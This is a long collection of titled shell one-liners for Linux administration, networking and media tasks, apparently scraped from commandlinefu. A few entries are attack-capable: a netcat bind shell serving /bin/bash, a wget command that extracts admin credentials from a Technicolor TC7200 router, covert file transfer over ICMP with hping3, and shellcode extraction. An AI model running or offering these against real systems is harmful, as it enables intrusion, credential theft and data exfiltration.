sitepass() { echo -n "$@" | md5sum | sha1sum | sha224sum | sha256sum | sha384sum | sha512sum | gzip - | strings -n 1 | tr -d "[:space:]" | tr -s '[:print:]' | tr '!-~' 'P-~!-O' | rev | cut -b 2-11; history -d $(($HISTCMD-1)); }
Change user, assume environment, stay in current dir
su -- user
List Network Tools in Linux
apropos network |more
Save current layout of top
Testing hard disk reading speed
hdparm -t /dev/sda
How fast is the connexion to a URL, some stats from curl
URL="http://www.google.com";curl -L --w "$URL\nDNS %{time_namelookup}s conn %{time_connect}s time %{time_total}s\nSpeed %{speed_download}bps Size %{size_download}bytes\n" -o/dev/null -s $URL
An easter egg built into python to give you the Zen of Python
python -c 'import this'
Salvage a borked terminal
Get all IPs via ifconfig
ifconfig -a | perl -nle'/(\d+\.\d+\.\d+\.\d+)/ && print $1'
Use Cygwin to talk to the Windows clipboard
cat /dev/clipboard; $(somecommand) > /dev/clipboard
Backup files incremental with rsync to a NTFS-Partition
rsync -rtvu --modify-window=1 --progress /media/SOURCE/ /media/TARGET/
List programs with open ports and connections
lsof -i
Find corrupted jpeg image files
find . -name "*jpg" -exec jpeginfo -c {} \; | grep -E "WARNING|ERROR"
'Fix' a typescript file created by the 'script' program to remove control characters
cat typescript | perl -pe 's/\e([^\[\]]|\[.*?[a-zA-Z]|\].*?\a)//g' | col -b > typescript-processed
Share a 'screen'-session
screen -x
Purge configuration files of removed packages on debian based systems
sudo aptitude purge `dpkg --get-selections | grep deinstall | awk '{print $1}'`
Show all detected mountable Drives/Partitions/BlockDevices
hwinfo --block --short
Displays the attempted user name, ip address, and time of SSH failed logins on Debian machines
awk '/sshd/ && /Failed/ {gsub(/invalid user/,""); printf "%-12s %-16s %s-%s-%s\n", $9, $11, $1, $2, $3}' /var/log/auth.log
Merge *.pdf files
gs -q -sPAPERSIZE=letter -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=out.pdf `ls *.pdf`
Append stdout and stderr to a file, and print stderr to the screen [bash]
somecommand 2>&1 >> logfile | tee -a logfile
quickly change all .html extensions on files in folder to .htm
for i in *.html ; do mv $i ${i%.html}.htm ; done
easily strace all your apache processes
ps auxw | grep -E 'sbin/(apache|httpd)' | awk '{print"-p " $2}' | xargs strace -F
Get your outgoing IP address
curl -s http://whatismyip.org/ | grep -oP '(\d{1,3}\.){3}\d+'
access to last touched or created file with arrow_up_key immediately after displaying the file list
lsa() { ls -lart; history -s "joe \"$(\ls -apt|grep -v /|head -1)\"" ; }
Two command output
netstat -n | grep ESTAB |grep :80 | tee /dev/stderr | wc -l
Generate a Google maps URL for GPS location data from digital photo
echo "https://www.google.com/maps/place/$(exiftool -ee -p '$gpslatitude, $gpslongitude' -c "%d?%d'%.2f"\" image.jpg 2> /dev/null | sed -e "s/ //g")"
Recover username and password for Technicolor TC7200 admin page (vulnerability)
wget -q -O - http://192.168.0.1/goform/system/GatewaySettings.bin | strings | tail -n 2
Adding Prefix to File name
rename 's/^/PREFIX/g' *
Lookup autonomous systems of all outgoing http/s traffic
ss -t -o state established '( dport = :443 || dport = :80 )'|grep tcp|awk '{ print $5 }'|sed s/:http[s]*//g|sort -u|netcat whois.cymru.com 43|grep -v "AS Name"|sort -t'|' -k3
Replace + Find
find <mydir> -type f -exec sed -i 's/<string1>/<string2>/g' {} \;
Get the current gold price
echo "Gold price is" $(wget https://rate-exchange-1.appspot.com/currency\?from=XAU\&to=USD -q -O - | jq ".rate") "USD"
If (and only if) the variable is not set, prompt users and give them a default option already filled in.
[ -n "$REMOTE_USER" ] || read -p "Remote User: " -er -i "$LOGNAME" REMOTE_USER
Automatic ssh Session Logger
ssh(){ L="\$HOME/logs/$(date +%F_%H:%M)-$USER";/usr/bin/ssh -t "$@" "mkdir -p \"${L%/*}\";screen -xRRS $USER script -f \"$L\"";}
Show the command line for a PID with ps
ps h -o %a 21679
What is my ip?
wget -q -O - ifconfig.co
Create higher quality gif from videos
ffgif() { p="fps=10,scale=${4:-320}:-1:flags=lanczos"; ffmpeg -y -ss ${2:-0} -t ${3:-0} -i "$1" -vf ${p},palettegen .p.png && ffmpeg -ss ${2:-0} -t ${3:-0} -i "$1" -i .p.png -filter_complex "${p}[x];[x][1:v]paletteuse" "${1%.*}".gif && rm .p.png; }
Show git log beautifully
git log --graph --pretty=format:'%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr)%Cblue - %cn %Creset' --abbrev-commit --date=relative
Display the inodes number of /
tree -a -L 1 --inodes /
Wait for file to stop changing
while [ $(( $(date +%s) - $(stat -c %Y FILENAME) )) -lt 10 ]; do sleep 1; done; echo DONE
Display Spinner while waiting for some process to finish
while kill -0 0; do timeout 5 bash -c 'spinner=( Ooooo oOooo ooOoo oooOo ooooO oooOo ooOoo oOooo); while true; do for i in ${spinner[@]}; do for _ in seq 0 ${#i}; do echo -en "\b\b"; done; echo -ne "${i}"; sleep 0.2; done; done'; done
Download all manuals RedHat 7 (CentOS/Fedora) with one command in Linux
wget -q -O- https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/ | grep Linux/7/pdf | cut -d \" -f 2 | awk '{print "https://access.redhat.com"$1}' | xargs wget
repeat any string or char n times without spaces between
echo -e ''$_{1..80}'\b+'
Yet Another Large Screen Clock
clear; while sleep 1; do d=$(date +"%H:%M:%S"); e=$(echo "toilet -t -f mono12 $d");tput setaf 1 cup 0; eval $e; tput setaf 4 cup 8; eval "$e -F flop";tput cup 0; done
Docker.io Stop and Remove all processes
docker stop $(docker ps -a -q); docker rm $(docker ps -a -q)
Get creation date of a file on ext2-3-4 fs
debugfs -R "stat <$(stat --printf=%i filename)>" /dev/sdaX | grep crtime
Find common groups between two users
groups user1 user2|cut -d: -f2|xargs -n1|sort|uniq -d
Read the output of a command into the buffer in vim
:r !command
Create an SSH SOCKS proxy server on localhost:8000 that will re-start itself if something breaks the connection temporarily
autossh -f -M 20000 -D 8000 somehost -N
Find broken symlinks
find . -type l ! -exec test -e {} \; -print
ssh tunnel with auto reconnect ability
while [ ! -f /tmp/stop ]; do ssh -o ExitOnForwardFailure=yes -R 2222:localhost:22 target "while nc -zv localhost 2222; do sleep 5; done"; sleep 5;done
find process associated with a port
fuser [portnumber]/[proto]
Echo the latest commands from commandlinefu on the console
wget -O - http://www.commandlinefu.com/commands/browse/rss 2>/dev/null | awk '/\s*<title/ {z=match($0, /CDATA\[([^\]]*)\]/, b);print b[1]} /\s*<description/ {c=match($0, /code>(.*)<\/code>/, d);print d[1]"\n"} '
add all files not under version control to repository
svn status |grep '\?' |awk '{print $2}'| xargs svn add
Get a random quote from Breaking Bad
curl -s https://api.breakingbadquotes.xyz/v1/quotes | jq -r '.[] | "\"\(.quote)\" -- \(.author)"'
Show a zoomable world map
telnet mapscii.me
Using a single sudo to run multiple && arguments
sudo -s <<< 'apt update -y && apt upgrade -y'
Disco lights in the terminal
while true; do printf "\e[38;5;$(($(od -d -N 2 -A n /dev/urandom)%$(tput colors)))m.\e[0m"; done
du with colored bar graph
du -x --max-depth=1|sort -rn|awk -F / -v c=$COLUMNS 'NR==1{t=$1} NR>1{r=int($1/t*c+.5); b="\033[1;31m"; for (i=0; i<r; i++) b=b"#"; printf " %5.2f%% %s\033[0m %s\n", $1/t*100, b, $2}'|tac
Show how old your linux OS installtion is
sudo tune2fs -l $(df -h / |(read; awk '{print $1; exit}')) | grep -i created
Discover the process start time
ps -eo pid,lstart,cmd
The fastest remote directory rsync over ssh archival I can muster (40MB/s over 1gb NICs)
rsync -aHAXxv --numeric-ids --delete --progress -e "ssh -T -c arcfour -o Compression=no -x" user@<source>:<source_dir> <dest_dir>
True Random Dice Roll
tr -cd '1-6' < /dev/urandom | head -c 1; echo
Automatically find and re-attach to a detached screen session
screen -D -R
This is how you should push a string in a command's stdin.
command <<< word
ping as traceroute
for i in {1..30}; do ping -t $i -c 1 google.com; done | grep "Time to live exceeded"
what model of computer I'm using?
sudo dmidecode | grep Product
Find ulimit values of currently running process
cat /proc/PID/limits
Extract tar content without leading parent directory
tar -xaf archive.tar.gz --strip-components=1
Redirect tar extract to another directory
tar xfz filename.tar.gz -C PathToDirectory
Target a specific column for pattern substitution
awk '{gsub("foo","bar",$5)}1' file
Run a command when a file is changed
while inotifywait -e modify /tmp/myfile; do firefox; done
Create arbitrary big file full of zeroes but done in a second
truncate --size 1G bigfile.txt
Delete all local git branches that have been merged
git branch --merged | grep -v "\*" | xargs -n 1 git branch -d
List pr. command in megabytes sum of deleted files that are still in use and therefore consumes diskspace
lsof -ns | grep REG | grep deleted | awk '{a[$1]+=$7;}END{for(i in a){printf("%s %.2f MB\n", i, a[i]/1048576);}}'
Generat a Random MAC address
hexdump -n6 -e '/1 ":%02X"' /dev/random|sed s/^://g
Labyrinth pattern
while ( true ) ; do if [ $(expr $RANDOM % 2 ) -eq 0 ] ; then echo -ne "\xE2\x95\xB1" ; else echo -ne "\xE2\x95\xB2" ; fi ; done
generate a telephone keypad
printf "%s\t%s\t%s\n" {1..9} '*' 0 '#'
Check your bash shell for vulnerability to the ShellShock exploit
x="() { :; }; echo x" bash -c :
Scan Subnet for IP and MAC addresses
nmap -sP 192.168.1.0/24
rename all images in folder with prefix of date and time from exif data
jhead -n%Y-%m-%d_%H-%M-%S__%f *.JPG
rename all images in folder with prefix of date and time from exif data
for i in `ls` ; do date=$(identify -format %[exif:DateTime] $i); date=${date//:/-}; date=${date// /_}; mv $i ${date}__$i; done
Show most common words in filenames
ls | tr '[[:punct:][:space:]]' '\n' | grep -v "^\s*$" | sort | uniq -c | sort -bn
Print the IPv4 address of a given interface
ip a s eth0 | awk -F'[/ ]+' '/inet[^6]/{print $3}'
Create test images
for i in {1..100}; do convert -background lightblue -fill blue -size 100x100 -pointsize 24 -gravity center label:$i $i.jpg; done
Mac osx friendly version of this terminal typing command at 200ms per key
message="I have a nice easy typing pace"; for ((i=0; i<${#message}; i++)); do echo "after 200" | tclsh; printf "${message:$i:1}"; done; echo;
install all archive file type apps in ubuntu
sudo apt-get install p7zip-rar p7zip-full unace unrar zip unzip sharutils rar uudeview mpack arj cabextract file-roller
print only matched pattern
<your command> | perl -ne '/(<your regex pattern>)/ && print "$1\n";'
Permanent mysql ssh tunnel to server
autossh -M 3307 -f user@server.com -L 3307:127.0.0.1:3306
Displays the number of processes per state
while true; do clear;awk '{a[$3]+=1};END{for(x in a){print x,a[x]}}' /proc/[0-9]*/stat; sleep 1; done
Extract shortcuts and hostnames from .ssh/config
awk '$1=="Host"{$1="";H=substr($0,2)};$1=="HostName"{print H,"$",$2}' ~/.ssh/config | column -s '$' -t
View Owner, Group & Permissions.
stat -c '%n %U:%G-%a' *
Dump audio from video without re-encoding.
ffmpeg -i file.ext -acodec copy -vn out.ext
Provide the ten largest subfolders in the current folder
du -hsx * | sort -rh | head -10
Write a shell script that removes files that contain a string
find -type f -exec grep -q "regexp" {} \; -delete
Ping sweep without NMAP
(prefix="10.59.21" && for i in `seq 254`; do (sleep 0.5 && ping -c1 -w1 $prefix.$i &> /dev/null && arp -n | awk ' /'$prefix'.'$i' / { print $1 " " $3 } ') & done; wait)
Show all symlinks
find ./ -type l -ls
Watch several log files of different machines in a single multitail window on your own machine
multitail -l 'ssh machine1 "tail -f /var/log/apache2/error.log"' -l 'ssh machine2 "tail -f /var/log/apache2/error.log"'
Substrings a variable
var='123456789'; echo ${var:<start_pos>:<offset>}
One command line web server on port 80 using nc (netcat)
while true ; do nc -l 80 < index.html ; done
RDP through SSH tunnel
ssh -f -L3389:<RDP_HOST>:3389 <SSH_PROXY> "sleep 10" && rdesktop -T'<WINDOW_TITLE>' -uAdministrator -g800x600 -a8 -rsound:off -rclipboard:PRIMARYCLIPBOARD -5 localhost
Numeric zero padding file rename
rename 's/\d+/sprintf("%04d",$&)/e' *.jpg
Remote screenshot
ssh user@remote-host "DISPLAY=:0.0 import -window root -format png -"|display -format png -
Google text-to-speech in mp3 format
say(){ mplayer -user-agent Mozilla "http://translate.google.com/translate_tts?tl=en&q=$(echo $* | sed 's#\ #\+#g')" > /dev/null 2>&1 ; }
add the result of a command into vi
!!command
Find the package a command belongs to on Debian
dpkg -S $( which ls )
Look up a unicode character by name
egrep -i "^[0-9a-f]{4,} .*$*" $(locate CharName.pm) | while read h d; do /usr/bin/printf "\U$(printf "%08x" 0x$h)\tU+%s\t%s\n" $h "$d"; done
Start dd and show progress every X seconds
dd if=/path/inputfile | pv | dd of=/path/outpufile
Ask user to confirm
Confirm() { read -sn 1 -p "$1 [Y/N]? "; [[ $REPLY = [Yy] ]]; }
Capture video of a linux desktop
ffmpeg -y -f alsa -ac 2 -i pulse -f x11grab -r 30 -s `xdpyinfo | grep 'dimensions:'|awk '{print $2}'` -i :0.0 -acodec pcm_s16le output.wav -an -vcodec libx264 -vpre lossless_ultrafast -threads 0 output.mp4
Random unsigned integer
echo $(openssl rand 4 | od -DAn)
kill all process that belongs to you
kill -9 -1
Make a file not writable / immutable by root
sudo chattr +i <file>
Continue a current job in the background
translates acronyms for you
wtf is <acronym>
Delete DOS Characters via VIM (^M)
:set ff=unix
Create an animated gif from a Youtube video
url=http://www.youtube.com/watch?v=V5bYDhZBFLA; youtube-dl -b $url; mplayer $(ls ${url##*=}*| tail -n1) -ss 00:57 -endpos 10 -vo gif89a:fps=5:output=output.gif -vf scale=400:300 -nosound
Print just line 4 from a textfile
sed -n '4{p;q}'
Print just line 4 from a textfile
sed -n '4p'
Get your external IP address without curl
wget -qO- icanhazip.com
Countdown Clock
MIN=1 && for i in $(seq $(($MIN*60)) -1 1); do echo -n "$i, "; sleep 1; done; echo -e "\n\nBOOOM! Time to start."
lines in file2 that are not in file1
grep -Fxv -f file1 file2
Create a bash script from last commands
quickscript () { filename="$1"; history | cut -c 8- | sed -e '/^###/{h;d};H;$!d;x' | sed '$d' > ${filename:?No filename given} }
Prefix every line with a timestamp
any command | while read line; do echo "[`date -Iseconds`] $line"; done
Find files modified since a specific date
find /path/to/somewhere -newermt "Jan 1"
Remove old kernel packages
dpkg -l linux-* | awk '/^ii/{ print $2}' | grep -v -e `uname -r | cut -f1,2 -d"-"` | grep -e [0-9] | xargs sudo apt-get -y purge
Find files and calculate size of result in shell
echo $(($(find . -name "pattern" -type f -printf "+%s")))
Find all files with colons and replace with underscores; current directory and below (recursive).
find ./ -name '*:*' -exec rename 's/:/_/g' {} +
List your largest installed packages (on Debian/Ubuntu)
dpkg-query -W --showformat='${Installed-Size}\t${Package}\n' | sort -nr | less
finds the c files with lines containing 'mcs', in the folders under the current folder
find */*.c | xargs grep 'mcs'
Toggle a temporary ram partition
ram() { mt=/mnt/ram && grep "$mt" < /proc/mts > /dev/null; if [ $? -eq 0 ] ; then read -p"Enter to Remove Ram Partition ";sudo umount "$mt" && echo $mt 0; else sudo mt -t tmpfs tmpfs "$mt" -o size=$(( ${1:-1} * 1024 ))m && echo $mt '-' "${1:-1}"gb; fi; }
Prepend a text to a file.
prepend () { array=("$@"); len=${#array[@]}; file=${array[$len-1]}; text=${array[@]:0:$len-1}; printf '%s\n' 0a "$text" . w | ed -s "$file"; }
Create incremental snapshots of individual folders using find and tar-gzip
find /mnt/storage/profiles/ -maxdepth 1 -mindepth 1 -type d | while read d; do tarfile=`echo "$d" | cut -d "/" -f5`; destdir="/local/backupdir/"; tar -g "$destdir"/"$tarfile".snar -czf "$destdir"/"$tarfile"_`date +%F`.tgz -P $d; done
List of macros defined by gcc
gcc -dM -E - </dev/null
spawn shell listener service with nc
nc -l -p 3003 -e /bin/bash
Check motherboard manufacturer, product name, version and serial number
dmidecode | grep -i 'Base Board Information' -A4 -B1
External IP (raw data)
dig +short myip.opendns.com @resolver1.opendns.com
Command to rename multiple file in one go
for f in ./*.xls; do mv "$f" "${f%.*}.ods"; done
Check disk I/O
iostat -d -x 10 5
Parse YouTube url (get youtube video id)
sh -c 'url="http://youtu.be/MejbOFk7H6c"; vid="`for i in ".*youtu\.be/\([^\/&?#]\+\)" ".*youtu.\+v[=/]\([^\/&?#]\+\)" ".*youtu.\+embed/\([^\/&?#]\+\)"; do expr "${url}" : "${i}"; done`"; if [ -n "${vid}" ]; then echo ${vid}; else echo "${url}"; fi'
pipe output to notify-send
notify-send -t 5000 "date" "$(date)"
Put split files back together, without a for loop
cat file{0..5} > mainfile
Do Google search from that command line opening into a new Firefox tab.
google() { gg="https://www.google.com/search?q="; ff="firefox"; if [[ $1 ]]; then "$ff" -new-tab "$gg"$(echo ${1//[^a-zA-Z0-9]/+}); else echo 'Usage: google "[seach term]"'; fi }
bash find function
find (); { ls $1 | while read line; do [[ -d $1/$line ]] && find $1/$line $2 || echo $1/$line | grep $2; done; }
execute your commands and avoid history records
export HISTCONTROL=ignorespace
Unite pdf files
pdfunite 1.pdf 2.pdf united.pdf
Convert multiple pdf's to jpg in linux using the convert command
for i in *.pdf ; do convert "$i" "${i%.*}.jpg" ; done
Start a HTTP server which serves Python docs
pydoc -p 8888 & gnome-open http://localhost:8888
Optimize PDF documents
gs -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 -dPDFSETTINGS=/screen -dNOPAUSE -dQUIET -dBATCH -sOutputFile=output.pdf input.pdf
Do some learning…
ls /usr/bin | xargs whatis | grep -v nothing | less
Carriage return for reprinting on the same line
while true; do echo -ne "$(date)\r"; sleep 1; done
Copy a folder tree through ssh using compression (no temporary files)
ssh <host> 'tar -cz /<folder>/<subfolder>' | tar -xvz
command line calculator
calc(){ awk "BEGIN{ print $* }" ;}
Backup a local drive into a file on the remote host via ssh
dd if=/dev/sda | ssh user@server 'dd of=sda.img'
Kill processes that have been running for more than a week
find /proc -user myuser -maxdepth 1 -type d -mtime +7 -exec basename {} \; | xargs kill -9
Print text string vertically, one character per line.
echo "vertical text" | grep -o '.'
Find running binary executables that were not installed using dpkg
cat /var/lib/dpkg/info/*.list > /tmp/listin ; ls /proc/*/exe |xargs -l readlink | grep -xvFf /tmp/listin; rm /tmp/listin
Add prefix onto filenames
rename 's/^/prefix/' *
Pick a random line from a file
shuf -n1 file.txt
Get all these commands in a text file with description.
for x in `jot - 0 2400 25`; do curl "http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/$x" ; done > commandlinefu.txt
Stripping ^M at end of each line for files
dos2unix <filenames>
Find removed files still in use via /proc
find -L /proc/*/fd -links 0 2>/dev/null
Connect to google talk through ssh by setting your IM client to use the localhost 5432 port
ssh -f -N -L 5432:talk.google.com:5222 user@home.network.com
List and delete files older than one year
find <directory path> -mtime +365 -and -not -type d -delete
for all flv files in a dir, grab the first frame and make a jpg.
for f in *.flv; do ffmpeg -y -i "$f" -f image2 -ss 10 -vframes 1 -an "${f%.flv}.jpg"; done
wrap long lines of a text
fold -s -w 90 file.txt
Grep colorized
grep -i --color=auto
from within vi, pipe a chunk of lines to a command line and replace the chunk with the result
!}sort
Grep for word in directory (recursive)
grep --color=auto -iRnH "$search_word" $directory
Unix alias for date command that lets you create timestamps in ISO 8601 format
alias timestamp='date "+%Y%m%dT%H%M%S"'
Grep without having it show its own process in the results
ps aux | grep "[s]ome_text"
Make less act like cat if its input's contents can fit on one screen
less -XF
Define a quick calculator function
=() { echo $(($*)); }
List all users and groups
groups $(cut -f1 -d":" /etc/passwd) | sort
Scan a document to PDF
scanimage -p --resolution 250 --mode Gray -x 215.9 -y 279.4 | pnmtops -imageheight 11 -imagewidth 8.5 | ps2pdf - output.pdf
Get shellcode of the binary using objdump
for i in $(objdump -d binary -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
Runs previous command replacing foo by bar every time that foo appears
^foo^bar^:&
Purge configuration file of all desinstalled package
dpkg --list | grep '^rc\b' | awk '{ print $2 }' | xargs sudo dpkg -P
Change your timezone
sudo cp /usr/share/zoneinfo/Europe/Paris /etc/localtime
Speed up builds and scripts, remove duplicate entries in \(PATH. Users scripts are oftern bad: PATH=/apath:\)PATH type of thing cause diplicate.
export PATH=`echo -n $PATH | awk -v RS=":" '{ if (!x[$0]++) {printf s $0; s=":"} }'`
Blacklist usb storage
blacklist usb_storage >> /etc/modprobe.d/blacklist.conf
Do some learning…
whatis /usr/bin/* 2> /dev/null | less
Test load balancers
curl --resolve subdomain.example.com:80:10.100.0.1 subdomain.example.com -I -s
adjust laptop display hardware brightness [non root]
xbacklight -10%
Lookup hostname for IP address
dig +short -x <ip-address>
Compare two directory trees.
diff <(cd dir1 && find . | sort) <(cd dir2 && find . | sort)
Find processes utilizing high memory in human readable format
ps -eo size,pid,user,command --sort -size |awk '{hr[1024**2]="GB";hr[1024]="MB";for (x=1024**3; x>=1024; x/=1024){if ($1>=x){printf ("%-6.2f %s ", $1/x, hr[x]);break}}}{printf ("%-6s %-10s ", $2, $3)}{for (x=4;x<=NF;x++){printf ("%s ",$x)} print ("\n")}'
Delete all non-printing characters from a file
tr -dc '[:print:]' < <file>
Show all available colors on your terminal.
perl -E 'say $_,`tput setb $_`," "x(`tput cols`-length("$_")),`tput sgr0` for 0..(`tput colors`-1)'
FizzBuzz in Perl
perl -E 'say$_%15?$_%3?$_%5?$_:Buzz:Fizz:Fizzbuzz for 1..100'
Jump to a directory, execute a command and jump back to current dir
pushd /path/to/dir ; command_to_execute; popd
Print environment information.
perl -e 'print map { $_ .= "$ENV{$_}\n" } (keys %ENV)'
Bingo-like raffle
for i in $(seq 1 100 | sort -R); do echo $i; sleep 5; done
route output as next command's parameters
<cmd> | xargs -0 <cmd>
Deleting / Ignoring lines from the top of a file
tail -n +2 foo.txt
Remote execute command as sudoer via ssh
sshpass -p 'sshpssword' ssh -t <sshuser>@<remotehost> "echo <sudopassword> | sudo -S <command>"
count IPv4 connections per IP
netstat -anp |grep 'tcp\|udp' | awk '{print $5}' | sed s/::ffff:// | cut -d: -f1 | sort | uniq -c | sort -n
Files extension change
rename .oldextension .newextension *.oldextension
archive all files containing local changes (svn)
svn st | cut -c 8- | sed 's/^/\"/;s/$/\"/' | xargs tar -czvf ../backup.tgz
Just run it ;)
echo SSBMb3ZlIFlvdQo= | base64 -d
pattern match in awk - no grep
awk '/pattern1/ && /pattern2/ && !/pattern3/ {print}'
Block an IP address from connecting to a server
iptables -A INPUT -s 222.35.138.25/32 -j DROP
Optimal way of deleting huge numbers of files
find /path/to/dir -type f -print0 | xargs -0 rm
Download and Extract mp3 from Youtube Video
yt-dlp --extract-audio --audio-format mp3 --audio-quality 0 -o "%(title)s.%(ext)s" <youtube_link_here>
Show tcp connections sorted by Host / Most connections
netstat -ntu|awk '{print $5}'|cut -d: -f1 -s|sort|uniq -c|sort -nk1 -r
Optimal way of deleting huge numbers of files
rsync -a --delete empty-dir/ target-dir/
quick copy
cp foo{,bak}
Sending a file over icmp with hping
hping3 10.0.2.254 --icmp --sign MSGID1 -d 50 -c 1 --file a_file
Kill a broken ssh connection
Convert JSON to YAML
ruby -ryaml -rjson -e 'puts YAML.dump(JSON.parse(STDIN.read))' < file.json > file.yaml
Convert Shell Text to Upper/Lower Case
ALT-U / ALT-L
Binary digits Matrix effect
perl -e '$|++; while (1) { print " " x (rand(35) + 1), int(rand(2)) }'
open two files side by side in vim (one window, two panes)
vim -O file1 file2
repeat a command every one second
watch -n 1 "do foo"
Recursively find top 20 largest files (> 1MB) sort human readable format
find . -type f -print0 | xargs -0 du -h | sort -hr | head -20
Update all packages installed via homebrew
brew update && brew upgrade `brew outdated`
open a screenshot of a remote desktop via ssh
xloadimage <(ssh USER@HOSTNAME DISPLAY=:0.0 import -window root png:-)
diff current vi buffer edits against original file
:w !diff -u % -
print multiplication formulas
seq 9 | sed 'H;g' | awk -v RS='' '{for(i=1;i<=NF;i++)printf("%dx%d=%d%s", i, NR, i*NR, i==NR?"\n":"\t")}'
Find Malware in the current and sub directories by MD5 hashes
IFS=$'\n' && for f in `find . -type f -exec md5sum "{}" \;`; do echo $f | sed -r 's/^[^ ]+/Checking:/'; echo $f | cut -f1 -d' ' | netcat hash.cymru.com 43 ; done
Execute a command, convert output to .png file, upload file to imgur.com, then returning the address of the .png.
imgur(){ $*|convert label:@- png:-|curl -F "image=@-" -F "key=1913b4ac473c692372d108209958fd15" http://api.imgur.com/2/upload.xml|grep -Eo "<original>(.)*</original>" | grep -Eo "http://i.imgur.com/[^<]*";}
Lists all clients of a Squid proxy
cut -c23-37 /var/log/squid3/access.log | cut -d' ' -f1 | sort | uniq
find and delete files smaller than specific size
find . -type f -size -80k -delete
Better git diff, word delimited and colorized
git config alias.dcolor "diff --color-words"
Remove all unused kernels with apt-get
sudo apt-get remove $(dpkg -l|awk '/^ii linux-image-/{print $2}'|sed 's/linux-image-//'|awk -v v=`uname -r` 'v>$0'|sed 's/-generic*//'|awk '{printf("linux-headers-%s\nlinux-headers-%s-generic*\nlinux-image-%s-generic*\n",$0,$0,$0)}')
Delete recursively only empty folders on present dir
find ./ -empty -type d -delete
Prefix command output with duration for each line
program | gawk 'BEGIN { l=systime() ; p="-- start --" } { t=systime(); print t-l "s " p; l=t; p=$0 } END { t=systime(); print t-l "s " p}'
Get your current Public IP
dig myip.opendns.com @Resolver1.opendns.com +short
Get the IP address
ip -f inet a | awk '/inet / { print $2 }'
Get a list of all browsable Samba shares on the target server.
smbclient -L sambaserver
Show crontabs for all users
for user in $(cut -f1 -d: /etc/passwd); do echo "##!!! Example "Crontabs for $user ####"; crontab -u $user -l; done
Unmount all CIFS drives
umount -a -t cifs
Print a monthly calendar with today's date highlighted
cal | grep -E --color "\b`date +%e`\b|$"
Use top to monitor only all processes with the same name fragment 'foo'
top '-p' $(pgrep -d ' -p ' foo)
Compare a remote file with a local file
diff <(ssh user@host cat /path/to/remotefile) /path/to/localfile
Git Tree Command with color and tag/branch name
git log --graph --oneline --all --decorate --color
Mysql extended status
mysqladmin -u root -p extended-status
Find broken symlinks
find . -type l -xtype l
Debug redirects between production reloads
watch 'curl -s --location -I http://any.site.or.url | grep -e "\(HTTP\|Location\)"'
List total available upgrades from apt without upgrading the system
apt-get -s upgrade | awk '/[0-9]+ upgraded,/ {print $1 " package updates are available"}'
Get OSX Battery percentage
pmset -g batt | egrep "([0-9]+\%).*" -o --colour=auto | cut -f1 -d';'
easily strace all your apache child processes
ps h --ppid $(cat /var/run/apache2.pid) | awk '{print"-p " $1}' | xargs sudo strace
Watch command
watch -n 2 command
Convert all files for iPhone with HandbrakeCLI
find . -name \*.avi -exec HandBrakeCLI -i "{}" -o "{}".iphone.mp4 --preset="iPhone & iPod Touch" \;
Processes by CPU usage
top -b -n 1 | sed 1,6d
Fastest Sort. Sort Faster, Max Speed
alias sortfast='sort -S$(($(sed '\''/MemF/!d;s/[^0-9]*//g'\'' /proc/meminfo)/2048)) $([ `nproc` -gt 1 ]&&echo -n --parallel=`nproc`)'
Generate a random password 30 characters long
gpg --gen-random --armor 1 30
all out
pkill -KILL -u username
Run a ext4 file system check and badblocks scan with progress info
fsck.ext4 -cDfty -C 0 /dev/sdxx
Screensaver
alias screensaver='for ((;;)); do echo -ne "\033[$((1+RANDOM%LINES));$((1+RANDOM%COLUMNS))H\033[$((RANDOM%2));3$((RANDOM%8))m$((RANDOM%10))"; sleep 0.1 ; done'
Selecting a random file/folder of a folder
shuf -n1 -e *
List your MACs address
lsmac() { ifconfig -a | sed '/eth\|wl/!d;s/ Link.*HWaddr//' ; }
ssh to machine behind shared NAT
ssh -NR 0.0.0.0:2222:127.0.0.1:22 user@jump.host.com
Countdown Clock
MIN=10;for ((i=MIN*60;i>=0;i--));do echo -ne "\r$(date -d"0+$i sec" +%H:%M:%S)";sleep 1;done
list all file extensions in a directory
find . -type f | awk -F'.' '{print $NF}' | sort| uniq -c | sort -g
Send an http HEAD request w/curl
curl -I http://localhost
view hex mode in vim
:%!xxd
View ~/.ssh/known_hosts key information
ssh-keygen -l -f ~/.ssh/known_hosts
Kill all Zombie processes (Guaranteed!)
kill -9 `ps -xaw -o state -o ppid | grep Z | grep -v PID | awk '{print $2}'`
prevent accidents and test your command with echo
echo rm *.txt
exclude a column with awk
awk '{ $5=""; print }' file
Get My Public IP Address
curl ifconfig.me
pretend to be busy in office to enjoy a cup of coffee
for i in `seq 0 100`;do timeout 6 dialog --gauge "Install..." 6 40 "$i";done
Empty a file
:> file
Better way to use notify-send with at or cron
DISPLAY=:0.0 XAUTHORITY=~/.Xauthority notify-send test
use screen as a terminal emulator to connect to serial consoles
screen /dev/tty<device> 9600
Find all symlinks that link to directories
find -type l -xtype d
Emptying a text file in one shot
:%d
computes the most frequent used words of a text file
cat WAR_AND_PEACE_By_LeoTolstoi.txt | tr -cs "[:alnum:]" "\n"| tr "[:lower:]" "[:upper:]" | awk '{h[$1]++}END{for (i in h){print h[i]" "i}}'|sort -nr | cat -n | head -n 30
Print info about your real user.
who loves mum
Serve current directory tree at http://$HOSTNAME:8080/
twistd -n web --path .
interactive rss-based colorful commandline-fu reader perl oneliner (v0.1)
open R,"curl -s http://feeds2.feedburner.com/Command-line-fu|xml2|"; while(<R>){ chomp; m(^/rss/channel/item/title=) and do{ s/^.*?=//; ($t,$d,$l)=($_,undef,undef) }; m(^/rss/channel/item/description=) and do{ s/^.*?=//; push @d,$_ }; m(^/rss/channel/item
Run the last command as root
su -c "!!"
Get your outgoing IP address
wget http://icanhazip.com -qO-
Compare two directories
diff --suppress-common-lines -y <(cd path_to_dir1; find .|sort) <(cd path_to_dir2; find .|sort)
Search commandlinefu.com from the command line using the API
cmdfu(){ curl "http://www.commandlinefu.com/commands/matching/$(echo "$@" | sed 's/ /-/g')/$(echo -n $@ | base64)/plaintext" --silent | vim -R - }
Compare a remote dir with a local dir
diff -y <(ssh user@host find /boot|sort) <(find /boot|sort)
analyze traffic remotely over ssh w/ wireshark
ssh user@server.com sudo tcpdump -i eth0 -w - 'port 80'| /Applications/Wireshark.app/Contents/Resources/bin/wireshark -k -i -
